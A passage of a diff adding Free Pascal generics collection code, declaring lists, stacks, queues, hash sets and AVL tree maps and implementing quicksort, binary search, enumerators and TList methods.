{Generics.Collections.}TEnumerator<T>; override; + public + type + TEnumerator = class(TCustomListEnumerator<T>); + + function GetEnumerator: TEnumerator; reintroduce; + protected + function DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): T; override; + procedure SetCapacity(AValue: SizeInt); override; + public + constructor Create(ACollection: TEnumerable<T>); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<T>); overload; + {$ENDIF} + destructor Destroy; override; + procedure Clear; + procedure Push(constref AValue: T); + function Pop: T; inline; + function Peek: T; + function Extract: T; inline; + procedure TrimExcess; override; + end; + + TObjectList<T: class> = class(TList<T>) + private + FObjectsOwner: Boolean; + protected + procedure Notify(constref AValue: T; ACollectionNotification: TCollectionNotification); override; + public + constructor Create(AOwnsObjects: Boolean = True); overload; + constructor Create(const AComparer: IComparer<T>; AOwnsObjects: Boolean = True); overload; + constructor Create(ACollection: TEnumerable<T>; AOwnsObjects: Boolean = True); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<T>; AOwnsObjects: Boolean = True); overload; + {$ENDIF} + property OwnsObjects: Boolean read FObjectsOwner write FObjectsOwner; + end; + + TObjectQueue<T: class> = class(TQueue<T>) + private + FObjectsOwner: Boolean; + protected + procedure Notify(constref AValue: T; ACollectionNotification: TCollectionNotification); override; + public + constructor Create(AOwnsObjects: Boolean = True); overload; + constructor Create(ACollection: TEnumerable<T>; AOwnsObjects: Boolean = True); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<T>; AOwnsObjects: Boolean = True); overload; + {$ENDIF} + procedure Dequeue; + property OwnsObjects: Boolean read FObjectsOwner write FObjectsOwner; + end; + + TObjectStack<T: class> = class(TStack<T>) + private + FObjectsOwner: Boolean; + protected + procedure Notify(constref AValue: T; ACollectionNotification: TCollectionNotification); override; + public + constructor Create(AOwnsObjects: Boolean = True); overload; + constructor Create(ACollection: TEnumerable<T>; AOwnsObjects: Boolean = True); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<T>; AOwnsObjects: Boolean = True); overload; + {$ENDIF} + function Pop: T; + property OwnsObjects: Boolean read FObjectsOwner write FObjectsOwner; + end; + + PObject = ^TObject; + +{$I inc\generics.dictionariesh.inc} + + { TCustomHashSet<T> } + + TCustomSet<T> = class(TEnumerableWithPointers<T>) + protected + FOnNotify: TCollectionNotifyEvent<T>; + public type + PT = ^T; + protected type + TCustomSetEnumerator = class(TEnumerator<T>) + protected var + FEnumerator: TEnumerator<T>; + function DoMoveNext: boolean; override; + function DoGetCurrent: T; override; + function GetCurrent: T; virtual; abstract; + public + constructor Create(ASet: TCustomSet<T>); virtual; abstract; + destructor Destroy; override; + end; + protected + function DoGetEnumerator: TEnumerator<T>; override; + function GetCount: SizeInt; virtual; abstract; + function GetCapacity: SizeInt; virtual; abstract; + procedure SetCapacity(AValue: SizeInt); virtual; abstract; + function GetOnNotify: TCollectionNotifyEvent<T>; virtual; abstract; + procedure SetOnNotify(AValue: TCollectionNotifyEvent<T>); virtual; abstract; + public + constructor Create; virtual; abstract; overload; + constructor Create(ACollection: TEnumerable<T>); overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + constructor Create(ACollection: TEnumerableWithPointers<T>); overload; + {$ENDIF} + function GetEnumerator: TCustomSetEnumerator; reintroduce; virtual; abstract; + + function Add(constref AValue: T): Boolean; virtual; abstract; + function Remove(constref AValue: T): Boolean; virtual; abstract; + function Extract(constref AValue: T): T; virtual; abstract; + + procedure Clear; virtual; abstract; + function Contains(constref AValue: T): Boolean; virtual; abstract; + function AddRange(constref AValues: array of T): Boolean; overload; + function AddRange(const AEnumerable: IEnumerable<T>): Boolean; overload; + function AddRange(AEnumerable: TEnumerable<T>): Boolean; overload; + {$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} + function AddRange(AEnumerable: TEnumerableWithPointers<T>): Boolean; overload; + {$ENDIF} + procedure UnionWith(AHashSet: TCustomSet<T>); + procedure IntersectWith(AHashSet: TCustomSet<T>); + procedure ExceptWith(AHashSet: TCustomSet<T>); + procedure SymmetricExceptWith(AHashSet: TCustomSet<T>); + + property Count: SizeInt read GetCount; + property Capacity: SizeInt read GetCapacity write SetCapacity; + procedure TrimExcess; virtual; abstract; + + property OnNotify: TCollectionNotifyEvent<T> read GetOnNotify write SetOnNotify; + end; + + { THashSet<T> } + + THashSet<T> = class(TCustomSet<T>) + private + procedure InternalDictionaryNotify(ASender: TObject; constref AItem: T; AAction: TCollectionNotification); + protected + FInternalDictionary: TOpenAddressingLP<T, TEmptyRecord>; + public type + THashSetEnumerator = class(TCustomSetEnumerator) + protected type + TDictionaryEnumerator = TDictionary<T, TEmptyRecord>.TKeyEnumerator; + function GetCurrent: T; override; + public + constructor Create(ASet: TCustomSet<T>); override; + end; + + TPointersEnumerator = class(TCustomPointersEnumerator<T, PT>) + protected + FEnumerator: TEnumerator<PT>; + function DoMoveNext: boolean; override; + function DoGetCurrent: PT; override; + public + constructor Create(AHashSet: THashSet<T>); + end; + protected + function GetPtrEnumerator: TEnumerator<PT>; override; + function GetCount: SizeInt; override; + function GetCapacity: SizeInt; override; + procedure SetCapacity(AValue: SizeInt); override; + function GetOnNotify: TCollectionNotifyEvent<T>; override; + procedure SetOnNotify(AValue: TCollectionNotifyEvent<T>); override; + public + constructor Create; override; overload; + constructor Create(const AComparer: IEqualityComparer<T>); virtual; overload; + destructor Destroy; override; + function GetEnumerator: TCustomSetEnumerator; override; + + function Add(constref AValue: T): Boolean; override; + function Remove(constref AValue: T): Boolean; override; + function Extract(constref AValue: T): T; override; + + procedure Clear; override; + function Contains(constref AValue: T): Boolean; override; + + procedure TrimExcess; override; + end; + + TPair<TKey, TValue, TInfo> = record + public + Key: TKey; + Value: TValue; + Info: TInfo; + end; + + TAVLTreeNode<TREE_CONSTRAINTS, TTree> = record + private type + TNodePair = TPair<TREE_CONSTRAINTS>; + public type + PNode = ^TAVLTreeNode<TREE_CONSTRAINTS, TTree>; + public + Parent, Left, Right: PNode; + Balance: Integer; + Data: TNodePair; + function Successor: PNode; + function Precessor: PNode; + function TreeDepth: integer; + procedure ConsistencyCheck(ATree: TObject); // workaround for internal error 2012101001 (no generic forward declarations) + function GetCount: SizeInt; + property Key: TKey read Data.Key write Data.Key; + property Value: TValue read Data.Value write Data.Value; + property Info: TInfo read Data.Info write Data.Info; + end; + + TCustomTreeEnumerator<T, PNode, TTree> = class abstract(TEnumerator<T>) + protected + FCurrent: PNode; + FTree: TTree; + function DoGetCurrent: T; override; + function GetCurrent: T; virtual; abstract; + public + constructor Create(ATree: TObject); + property Current: T read GetCurrent; + end; + + TTreeEnumerable<TTreeEnumerator, TTreePointersEnumerator, + T, PT, PNode, TTree> = class abstract(TEnumerableWithPointers<T>) + private + FTree: TTree; + function GetCount: SizeInt; inline; + protected + function GetPtrEnumerator: TEnumerator<PT>; override; + function DoGetEnumerator: TTreeEnumerator; override; + public + constructor Create(ATree: TTree); + function ToArray: TArray<T>; override; final; + property Count: SizeInt read GetCount; + end; + + TAVLTreeEnumerator<T, PNode, TTree> = class(TCustomTreeEnumerator<T, PNode, TTree>) + protected + FLowToHigh: boolean; + function DoMoveNext: Boolean; override; + public + constructor Create(ATree: TObject; ALowToHigh: boolean = true); + property LowToHigh: boolean read FLowToHigh; + end; + + TNodeNotifyEvent<PNode> = procedure(ASender: TObject; ANode: PNode; AAction: TCollectionNotification; ADispose: boolean) of object; + + TCustomAVLTreeMap<TREE_CONSTRAINTS> = class + private type + TTree = class(TCustomAVLTreeMap<TREE_CONSTRAINTS>); + public type + TNode = TAVLTreeNode<TREE_CONSTRAINTS, TTree>; + PNode = ^TNode; + PPNode = ^PNode; + TTreePair = TPair<TKey, TValue>; + PKey = ^TKey; + PValue = ^TValue; + private type + // type exist only for generic constraint in TNodeCollection (non functional - PPNode has no sense) + TPNodeEnumerator = class(TAVLTreeEnumerator<PPNode, PNode, TTree>); + private var + FDuplicates: TDuplicates; + FComparer: IComparer<TKey>; + protected + FCount: SizeInt; + FRoot: PNode; + FKeys: TEnumerable<TKey>; + FValues: TEnumerable<TValue>; + FOnNodeNotify: TNodeNotifyEvent<PNode>; + FOnKeyNotify: TCollectionNotifyEvent<TKey>; + FOnValueNotify: TCollectionNotifyEvent<TValue>; + + procedure NodeAdded(ANode: PNode); virtual; + procedure DeletingNode(ANode: PNode; AOrigin: boolean); virtual; + + function DoRemove(ANode: PNode; ACollectionNotification: TCollectionNotification; ADispose: boolean): TValue; + procedure DisposeAllNodes(ANode: PNode); overload; + + function Compare(constref ALeft, ARight: TKey): Integer; inline; + function FindPredecessor(ANode: PNode): PNode; + function FindInsertNode(ANode: PNode; out AInsertNode: PNode): Integer; + + procedure RotateRightRight(ANode: PNode); virtual; + procedure RotateLeftLeft(ANode: PNode); virtual; + procedure RotateRightLeft(ANode: PNode); virtual; + procedure RotateLeftRight(ANode: PNode); virtual; + + procedure KeyNotify(constref AKey: TKey; ACollectionNotification: TCollectionNotification); inline; + procedure ValueNotify(constref AValue: TValue; ACollectionNotification: TCollectionNotification); inline; + procedure NodeNotify(ANode: PNode; ACollectionNotification: TCollectionNotification; ADispose: boolean); inline; + procedure SetValue(var AValue: TValue; constref ANewValue: TValue); + + // for reporting + procedure WriteStr(AStream: TStream; const AText: string); + public type + TPairEnumerator = class(TAVLTreeEnumerator<TTreePair, PNode, TTree>) + protected + function GetCurrent: TTreePair; override; + end; + + TNodeEnumerator = class(TAVLTreeEnumerator<PNode, PNode, TTree>) + protected + function GetCurrent: PNode; override; + end; + + TKeyEnumerator = class(TAVLTreeEnumerator<TKey, PNode, TTree>) + protected + function GetCurrent: TKey; override; + end; + + TPKeyEnumerator = class(TAVLTreeEnumerator<PKey, PNode, TTree>) + protected + function GetCurrent: PKey; override; + end; + + TValueEnumerator = class(TAVLTreeEnumerator<TValue, PNode, TTree>) + protected + function GetCurrent: TValue; override; + end; + + TPValueEnumerator = class(TAVLTreeEnumerator<PValue, PNode, TTree>) + protected + function GetCurrent: PValue; override; + end; + + TNodeCollection = class(TTreeEnumerable<TNodeEnumerator, TPNodeEnumerator, PNode, PPNode, PNode, TTree>) + private + property Ptr; // PPNode has no sense, so hide enumerator for PPNode + end; + + TKeyCollection = class(TTreeEnumerable<TKeyEnumerator, TPKeyEnumerator, TKey, PKey, PNode, TTree>); + + TValueCollection = class(TTreeEnumerable<TValueEnumerator, TPValueEnumerator, TValue, PValue, PNode, TTree>); + private + FNodes: TNodeCollection; + function GetNodeCollection: TNodeCollection; + procedure InternalAdd(ANode, AParent: PNode); overload; + function InternalAdd(ANode: PNode; ADispisable: boolean): PNode; overload; + procedure InternalDelete(ANode: PNode); + function GetKeys: TKeyCollection; + function GetValues: TValueCollection; + public + constructor Create; virtual; overload; + constructor Create(const AComparer: IComparer<TKey>); virtual; overload; + + function NewNode: PNode; + function NewNodeArray(ACount: SizeInt): PNode; overload; + procedure NewNodeArray(out AArray: TArray<PNode>; ACount: SizeInt); overload; + procedure DisposeNode(ANode: PNode); + procedure DisposeNodeArray(ANode: PNode; ACount: SizeInt); overload; + procedure DisposeNodeArray(var AArray: TArray<PNode>); overload; + + destructor Destroy; override; + function AddNode(ANode: PNode): boolean; overload; inline; + function Add(constref APair: TTreePair): PNode; overload; inline; + function Add(constref AKey: TKey; constref AValue: TValue): PNode; overload; inline; + function Remove(constref AKey: TKey; ADisposeNode: boolean = true): boolean; + function ExtractPair(constref AKey: TKey; ADisposeNode: boolean = true): TTreePair; overload; + function ExtractPair(constref ANode: PNode; ADispose: boolean = true): TTreePair; overload; + function ExtractNode(constref AKey: TKey; ADisposeNode: boolean): PNode; overload; + function ExtractNode(ANode: PNode; ADispose: boolean): PNode; overload; + procedure Delete(ANode: PNode; ADispose: boolean = true); inline; + + function GetEnumerator: TPairEnumerator; + property Nodes: TNodeCollection read GetNodeCollection; + + procedure Clear(ADisposeNodes: Boolean = true); virtual; + + function FindLowest: PNode; + function FindHighest: PNode; + + property Count: SizeInt read FCount; + + property Root: PNode read FRoot; + function Find(constref AKey: TKey): PNode; + function ContainsKey(constref AKey: TKey; out ANode: PNode): boolean; overload; inline; + function ContainsKey(constref AKey: TKey): boolean; overload; inline; + + procedure ConsistencyCheck; virtual; + procedure WriteTreeNode(AStream: TStream; ANode: PNode); + procedure WriteReportToStream(AStream: TStream); + function NodeToReportStr(ANode: PNode): string; virtual; + function ReportAsString: string; + + property Keys: TKeyCollection read GetKeys; + property Values: TValueCollection read GetValues; + property Duplicates: TDuplicates read FDuplicates write FDuplicates; + + property OnNodeNotify: TNodeNotifyEvent<PNode> read FOnNodeNotify write FOnNodeNotify; + property OnKeyNotify: TCollectionNotifyEvent<TKey> read FOnKeyNotify write FOnKeyNotify; + property OnValueNotify: TCollectionNotifyEvent<TValue> read FOnValueNotify write FOnValueNotify; + end; + + TAVLTreeMap<TKey, TValue> = class(TCustomAVLTreeMap<TKey, TValue, TEmptyRecord>) + end; + + TIndexedAVLTreeMap<TKey, TValue> = class(TCustomAVLTreeMap<TKey, TValue, SizeInt>) + protected + FLastNode: PNode; + FLastIndex: SizeInt; + + procedure RotateRightRight(ANode: PNode); override; + procedure RotateLeftLeft(ANode: PNode); override; + procedure RotateRightLeft(ANode: PNode); override; + procedure RotateLeftRight(ANode: PNode); override; + + procedure NodeAdded(ANode: PNode); override; + procedure DeletingNode(ANode: PNode; AOrigin: boolean); override; + public + function GetNodeAtIndex(AIndex: SizeInt): PNode; + function NodeToIndex(ANode: PNode): SizeInt; + + procedure ConsistencyCheck; override; + function NodeToReportStr(ANode: PNode): string; override; + end; + + TAVLTree<T> = class(TAVLTreeMap<T, TEmptyRecord>) + protected + property OnKeyNotify; + property OnValueNotify; + public type + TItemEnumerator = TKeyEnumerator; + public + function Add(constref AValue: T): PNode; reintroduce; inline; + function AddNode(ANode: PNode): boolean; reintroduce; inline; + + property OnNotify: TCollectionNotifyEvent<T> read FOnKeyNotify write FOnKeyNotify; + end; + + TIndexedAVLTree<T> = class(TIndexedAVLTreeMap<T, TEmptyRecord>) + protected + property OnKeyNotify; + property OnValueNotify; + public type + TItemEnumerator = TKeyEnumerator; + public + function Add(constref AValue: T): PNode; reintroduce; inline; + function AddNode(ANode: PNode): boolean; reintroduce; inline; + + property OnNotify: TCollectionNotifyEvent<T> read FOnKeyNotify write FOnKeyNotify; + end; + + TSortedSet<T> = class(TCustomSet<T>) + private + procedure InternalAVLTreeNotify(ASender: TObject; constref AItem: T; AAction: TCollectionNotification); + protected + FInternalTree: TAVLTree<T>; + public type + TSortedSetEnumerator = class(TCustomSetEnumerator) + protected type + TTreeEnumerator = TAVLTree<T>.TItemEnumerator; + function GetCurrent: T; override; + public + constructor Create(ASet: TCustomSet<T>); override; + end; + + TPointersEnumerator = class(TCustomPointersEnumerator<T, PT>) + protected + FEnumerator: TEnumerator<PT>; + function DoMoveNext: boolean; override; + function DoGetCurrent: PT; override; + public + constructor Create(ASortedSet: TSortedSet<T>); + end; + protected + function GetPtrEnumerator: TEnumerator<PT>; override; + function GetCount: SizeInt; override; + function GetCapacity: SizeInt; override; + procedure SetCapacity(AValue: SizeInt); override; + function GetOnNotify: TCollectionNotifyEvent<T>; override; + procedure SetOnNotify(AValue: TCollectionNotifyEvent<T>); override; + public + constructor Create; override; overload; + constructor Create(const AComparer: IComparer<T>); virtual; overload; + destructor Destroy; override; + function GetEnumerator: TCustomSetEnumerator; override; + + function Add(constref AValue: T): Boolean; override; + function Remove(constref AValue: T): Boolean; override; + function Extract(constref AValue: T): T; override; + procedure Clear; override; + function Contains(constref AValue: T): Boolean; override; + + procedure TrimExcess; override; + end; + + TSortedHashSet<T> = class(TCustomSet<T>) + private + procedure InternalDictionaryNotify(ASender: TObject; constref AItem: PT; AAction: TCollectionNotification); + protected + FInternalDictionary: TOpenAddressingLP<PT, TEmptyRecord>; + FInternalTree: TAVLTree<T>; + function DoGetEnumerator: TEnumerator<T>; override; + function GetCount: SizeInt; override; + function GetCapacity: SizeInt; override; + procedure SetCapacity(AValue: SizeInt); override; + function GetOnNotify: TCollectionNotifyEvent<T>; override; + procedure SetOnNotify(AValue: TCollectionNotifyEvent<T>); override; + protected type + TSortedHashSetEqualityComparer = class(TInterfacedObject, IEqualityComparer<PT>) + private + FComparer: IComparer<T>; + FEqualityComparer: IEqualityComparer<T>; + function Equals(constref ALeft, ARight: PT): Boolean; + function GetHashCode(constref AValue: PT): UInt32; + public + constructor Create(const AComparer: IComparer<T>); overload; + constructor Create(const AEqualityComparer: IEqualityComparer<T>); overload; + constructor Create(const AComparer: IComparer<T>; const AEqualityComparer: IEqualityComparer<T>); overload; + end; + public type + TSortedHashSetEnumerator = class(TCustomSetEnumerator) + protected type + TTreeEnumerator = TAVLTree<T>.TItemEnumerator; + function GetCurrent: T; override; + public + constructor Create(ASet: TCustomSet<T>); override; + end; + + TPointersEnumerator = class(TCustomPointersEnumerator<T, PT>) + protected + FEnumerator: TEnumerator<PT>; + function DoMoveNext: boolean; override; + function DoGetCurrent: PT; override; + public + constructor Create(ASortedHashSet: TSortedHashSet<T>); + end; + protected + function GetPtrEnumerator: TEnumerator<PT>; override; + public + constructor Create; override; overload; + constructor Create(const AComparer: IEqualityComparer<T>); overload; + constructor Create(const AComparer: IComparer<T>); overload; + constructor Create(const AComparer: IComparer<T>; const AEqualityComparer: IEqualityComparer<T>); overload; + destructor Destroy; override; + function GetEnumerator: TCustomSetEnumerator; override; + + function Add(constref AValue: T): Boolean; override; + function Remove(constref AValue: T): Boolean; override; + function Extract(constref AValue: T): T; override; + procedure Clear; override; + function Contains(constref AValue: T): Boolean; override; + + procedure TrimExcess; override; + end; + +function InCircularRange(ABottom, AItem, ATop: SizeInt): Boolean; + +var + EmptyRecord: TEmptyRecord; + +implementation + +function InCircularRange(ABottom, AItem, ATop: SizeInt): Boolean; +begin + Result := + (ABottom < AItem) and (AItem <= ATop ) + or (ATop < ABottom) and (AItem > ABottom) + or (ATop < ABottom ) and (AItem <= ATop ); +end; + +{ TCustomArrayHelper<T> } + +class function TCustomArrayHelper<T>.BinarySearch(constref AValues: array of T; constref AItem: T; + out AFoundIndex: SizeInt; const AComparer: IComparer<T>): Boolean; +begin + Result := BinarySearch(AValues, AItem, AFoundIndex, AComparer, Low(AValues), Length(AValues)); +end; + +class function TCustomArrayHelper<T>.BinarySearch(constref AValues: array of T; constref AItem: T; + out AFoundIndex: SizeInt): Boolean; +begin + Result := BinarySearch(AValues, AItem, AFoundIndex, TComparerBugHack.Default, Low(AValues), Length(AValues)); +end; + +class function TCustomArrayHelper<T>.BinarySearch(constref AValues: array of T; constref AItem: T; + out ASearchResult: TBinarySearchResult; const AComparer: IComparer<T>): Boolean; +begin + Result := BinarySearch(AValues, AItem, ASearchResult, AComparer, Low(AValues), Length(AValues)); +end; + +class function TCustomArrayHelper<T>.BinarySearch(constref AValues: array of T; constref AItem: T; + out ASearchResult: TBinarySearchResult): Boolean; +begin + Result := BinarySearch(AValues, AItem, ASearchResult, TComparerBugHack.Default, Low(AValues), Length(AValues)); +end; + +class procedure TCustomArrayHelper<T>.Sort(var AValues: array of T); +begin + QuickSort(AValues, Low(AValues), High(AValues), TComparerBugHack.Default); +end; + +class procedure TCustomArrayHelper<T>.Sort(var AValues: array of T; + const AComparer: IComparer<T>); +begin + QuickSort(AValues, Low(AValues), High(AValues), AComparer); +end; + +class procedure TCustomArrayHelper<T>.Sort(var AValues: array of T; + const AComparer: IComparer<T>; AIndex, ACount: SizeInt); +begin + if ACount <= 1 then + Exit; + QuickSort(AValues, AIndex, Pred(AIndex + ACount), AComparer); +end; + +{ TArrayHelper<T> } + +class procedure TArrayHelper<T>.QuickSort(var AValues: array of T; ALeft, ARight: SizeInt; + const AComparer: IComparer<T>); +var + I, J: SizeInt; + P, Q: T; +begin + if ((ARight - ALeft) <= 0) or (Length(AValues) = 0) then + Exit; + repeat + I := ALeft; + J := ARight; + P := AValues[ALeft + (ARight - ALeft) shr 1]; + repeat + while AComparer.Compare(AValues[I], P) < 0 do + Inc(I); + while AComparer.Compare(AValues[J], P) > 0 do + Dec(J); + if I <= J then + begin + if I <> J then + begin + Q := AValues[I]; + AValues[I] := AValues[J]; + AValues[J] := Q; + end; + Inc(I); + Dec(J); + end; + until I > J; + // sort the smaller range recursively + // sort the bigger range via the loop + // Reasons: memory usage is O(log(n)) instead of O(n) and loop is faster than recursion + if J - ALeft < ARight - I then + begin + if ALeft < J then + QuickSort(AValues, ALeft, J, AComparer); + ALeft := I; + end + else + begin + if I < ARight then + QuickSort(AValues, I, ARight, AComparer); + ARight := J; + end; + until ALeft >= ARight; +end; + +class function TArrayHelper<T>.BinarySearch(constref AValues: array of T; constref AItem: T; + out ASearchResult: TBinarySearchResult; const AComparer: IComparer<T>; + AIndex, ACount: SizeInt): Boolean; +var + imin, imax, imid: Int32; +begin + // continually narrow search until just one element remains + imin := AIndex; + imax := Pred(AIndex + ACount); + + // http://en.wikipedia.org/wiki/Binary_search_algorithm + while (imin < imax) do + begin + imid := imin + ((imax - imin) shr 1); + + // code must guarantee the interval is reduced at each iteration + // assert(imid < imax); + // note: 0 <= imin < imax implies imid will always be less than imax + + ASearchResult.CompareResult := AComparer.Compare(AValues[imid], AItem); + // reduce the search + if (ASearchResult.CompareResult < 0) then + imin := imid + 1 + else + begin + imax := imid; + if ASearchResult.CompareResult = 0 then + begin + ASearchResult.FoundIndex := imid; + ASearchResult.CandidateIndex := imid; + Exit(True); + end; + end; + end; + // At exit of while: + // if A[] is empty, then imax < imin + // otherwise imax == imin + + // deferred test for equality + + if (imax = imin) then + begin + ASearchResult.CompareResult := AComparer.Compare(AValues[imin], AItem); + ASearchResult.CandidateIndex := imin; + if (ASearchResult.CompareResult = 0) then + begin + ASearchResult.FoundIndex := imin; + Exit(True); + end else + begin + ASearchResult.FoundIndex := -1; + Exit(False); + end; + end + else + begin + ASearchResult.CompareResult := 0; + ASearchResult.FoundIndex := -1; + ASearchResult.CandidateIndex := -1; + Exit(False); + end; +end; + +class function TArrayHelper<T>.BinarySearch(constref AValues: array of T; constref AItem: T; + out AFoundIndex: SizeInt; const AComparer: IComparer<T>; + AIndex, ACount: SizeInt): Boolean; +var + imin, imax, imid: Int32; + LCompare: SizeInt; +begin + // continually narrow search until just one element remains + imin := AIndex; + imax := Pred(AIndex + ACount); + + // http://en.wikipedia.org/wiki/Binary_search_algorithm + while (imin < imax) do + begin + imid := imin + ((imax - imin) shr 1); + + // code must guarantee the interval is reduced at each iteration + // assert(imid < imax); + // note: 0 <= imin < imax implies imid will always be less than imax + + LCompare := AComparer.Compare(AValues[imid], AItem); + // reduce the search + if (LCompare < 0) then + imin := imid + 1 + else + begin + imax := imid; + if LCompare = 0 then + begin + AFoundIndex := imid; + Exit(True); + end; + end; + end; + // At exit of while: + // if A[] is empty, then imax < imin + // otherwise imax == imin + + // deferred test for equality + + LCompare := AComparer.Compare(AValues[imin], AItem); + if (imax = imin) and (LCompare = 0) then + begin + AFoundIndex := imin; + Exit(True); + end + else + begin + AFoundIndex := -1; + Exit(False); + end; +end; + +{ TEnumerator<T> } + +function TEnumerator<T>.MoveNext: boolean; +begin + Exit(DoMoveNext); +end; + +{ TEnumerable<T> } + +function TEnumerable<T>.ToArrayImpl(ACount: SizeInt): TArray<T>; +var + i: SizeInt; + LEnumerator: TEnumerator<T>; +begin + SetLength(Result, ACount); + + try + LEnumerator := GetEnumerator; + + i := 0; + while LEnumerator.MoveNext do + begin + Result[i] := LEnumerator.Current; + Inc(i); + end; + finally + LEnumerator.Free; + end; +end; + +function TEnumerable<T>.GetEnumerator: TEnumerator<T>; +begin + Exit(DoGetEnumerator); +end; + +function TEnumerable<T>.ToArray: TArray<T>; +var + LEnumerator: TEnumerator<T>; + LBuffer: TList<T>; +begin + LBuffer := TList<T>.Create; + try + LEnumerator := GetEnumerator; + + while LEnumerator.MoveNext do + LBuffer.Add(LEnumerator.Current); + + Result := LBuffer.ToArray; + finally + LBuffer.Free; + LEnumerator.Free; + end; +end; + +{ TCustomPointersCollection<T, PT> } + +function TCustomPointersCollection<T, PT>.Enumerable: TLocalEnumerable; +begin + Result := TLocalEnumerable(@Self); +end; + +function TCustomPointersCollection<T, PT>.GetEnumerator: TEnumerator<PT>; +begin + Result := Enumerable.GetPtrEnumerator; +end; + +{ TEnumerableWithPointers<T> } + +function TEnumerableWithPointers<T>.GetPtr: PPointersCollection; +begin + Result := PPointersCollection(Self); +end; + +{ TCustomList<T> } + +function TCustomList<T>.PrepareAddingItem: SizeInt; +begin + Result := Length(FItems); + + if (FLength < 4) and (Result < 4) then + SetLength(FItems, 4) + else if FLength = High(FLength) then + OutOfMemoryError + else if FLength = Result then + SetLength(FItems, CUSTOM_LIST_CAPACITY_INC); + + Result := FLength; + Inc(FLength); +end; + +function TCustomList<T>.PrepareAddingRange(ACount: SizeInt): SizeInt; +begin + if ACount < 0 then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + if ACount = 0 then + Exit(FLength - 1); + + if (FLength = 0) and (Length(FItems) = 0) then + SetLength(FItems, 4) + else if FLength = High(FLength) then + OutOfMemoryError; + + Result := Length(FItems); + while Pred(FLength + ACount) >= Result do + begin + SetLength(FItems, CUSTOM_LIST_CAPACITY_INC); + Result := Length(FItems); + end; + + Result := FLength; + Inc(FLength, ACount); +end; + +function TCustomList<T>.ToArray: TArray<T>; +begin + Result := ToArrayImpl(Count); +end; + +function TCustomList<T>.GetCount: SizeInt; +begin + Result := FLength; +end; + +procedure TCustomList<T>.Notify(constref AValue: T; ACollectionNotification: TCollectionNotification); +begin + if Assigned(FOnNotify) then + FOnNotify(Self, AValue, ACollectionNotification); +end; + +function TCustomList<T>.DoRemove(AIndex: SizeInt; ACollectionNotification: TCollectionNotification): T; +begin + if (AIndex < 0) or (AIndex >= FLength) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + Result := FItems[AIndex]; + Dec(FLength); + + FItems[AIndex] := Default(T); + if AIndex <> FLength then + begin + System.Move(FItems[AIndex + 1], FItems[AIndex], (FLength - AIndex) * SizeOf(T)); + FillChar(FItems[FLength], SizeOf(T), 0); + end; + + Notify(Result, ACollectionNotification); +end; + +function TCustomList<T>.GetCapacity: SizeInt; +begin + Result := Length(FItems); +end; + +{ TCustomListEnumerator<T> } + +function TCustomListEnumerator<T>.DoMoveNext: boolean; +begin + Inc(FIndex); + Result := (FList.FLength <> 0) and (FIndex < FList.FLength) +end; + +function TCustomListEnumerator<T>.DoGetCurrent: T; +begin + Result := GetCurrent; +end; + +function TCustomListEnumerator<T>.GetCurrent: T; +begin + Result := FList.FItems[FIndex]; +end; + +constructor TCustomListEnumerator<T>.Create(AList: TCustomList<T>); +begin + inherited Create; + FIndex := -1; + FList := AList; +end; + +{ TCustomListWithPointers<T>.TPointersEnumerator } + +function TCustomListWithPointers<T>.TPointersEnumerator.DoMoveNext: boolean; +begin + Inc(FIndex); + Result := (FList.FLength <> 0) and (FIndex < FList.FLength) +end; + +function TCustomListWithPointers<T>.TPointersEnumerator.DoGetCurrent: PT; +begin + Result := @FList.FItems[FIndex];; +end; + +constructor TCustomListWithPointers<T>.TPointersEnumerator.Create(AList: TCustomListWithPointers<T>); +begin + inherited Create; + FIndex := -1; + FList := AList; +end; + +{ TCustomListWithPointers<T> } + +function TCustomListWithPointers<T>.GetPtrEnumerator: TEnumerator<PT>; +begin + Result := TPointersEnumerator.Create(Self); +end; + +{ TList<T> } + +procedure TList<T>.InitializeList; +begin +end; + +constructor TList<T>.Create; +begin + InitializeList; + FComparer := TComparer<T>.Default; +end; + +constructor TList<T>.Create(const AComparer: IComparer<T>); +begin + InitializeList; + FComparer := AComparer; +end; + +constructor TList<T>.Create(ACollection: TEnumerable<T>); +var + LItem: T; +begin + Create; + for LItem in ACollection do + Add(LItem); +end; + +{$IFDEF ENABLE_METHODS_WITH_TEnumerableWithPointers} +constructor TList<T>.Create(ACollection: TEnumerableWithPointers<T>); +var + LItem: PT; +begin + Create; + for LItem in ACollection.Ptr^ do + Add(LItem^); +end; +{$ENDIF} + +destructor TList<T>.Destroy; +begin + SetCapacity(0); +end; + +procedure TList<T>.SetCapacity(AValue: SizeInt); +begin + if AValue < Count then + Count := AValue; + + SetLength(FItems, AValue); +end; + +procedure TList<T>.SetCount(AValue: SizeInt); +begin + if AValue < 0 then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + if AValue > Capacity then + Capacity := AValue; + if AValue < Count then + DeleteRange(AValue, Count - AValue); + + FLength := AValue; +end; + +function TList<T>.GetItem(AIndex: SizeInt): T; +begin + if (AIndex < 0) or (AIndex >= Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + + Result := FItems[AIndex]; +end; + +procedure TList<T>.SetItem(AIndex: SizeInt; const AValue: T); +begin + if (AIndex < 0) or (AIndex >= Count) then + raise EArgumentOutOfRangeException.CreateRes(@SArgumentOutOfRange); + Notify(FItems[AIndex], cnRemoved); + FItems[AIndex] := AValue; + Notify(AValue, cnAdded); +end; + +function TList<T>.GetEnumerator: TEnumerator; +begin + Result := TEnumerator.Create(Self); +end; + +function TList<T>.DoGetEnumerator: {Generics.Collections.}TEnumerator<T>; +begin + Result := GetEnumerator; +end; + +function TList<T>.Add(constref AValue: T): SizeInt; +begin + Result := PrepareAddingItem; + FItems[Result] := AValue; + Notify(AValue, cnAdded); +end; + +procedure TList<T>.AddRange(constref AValues: array of T); +begin + InsertRange(Count, AValues); +end; 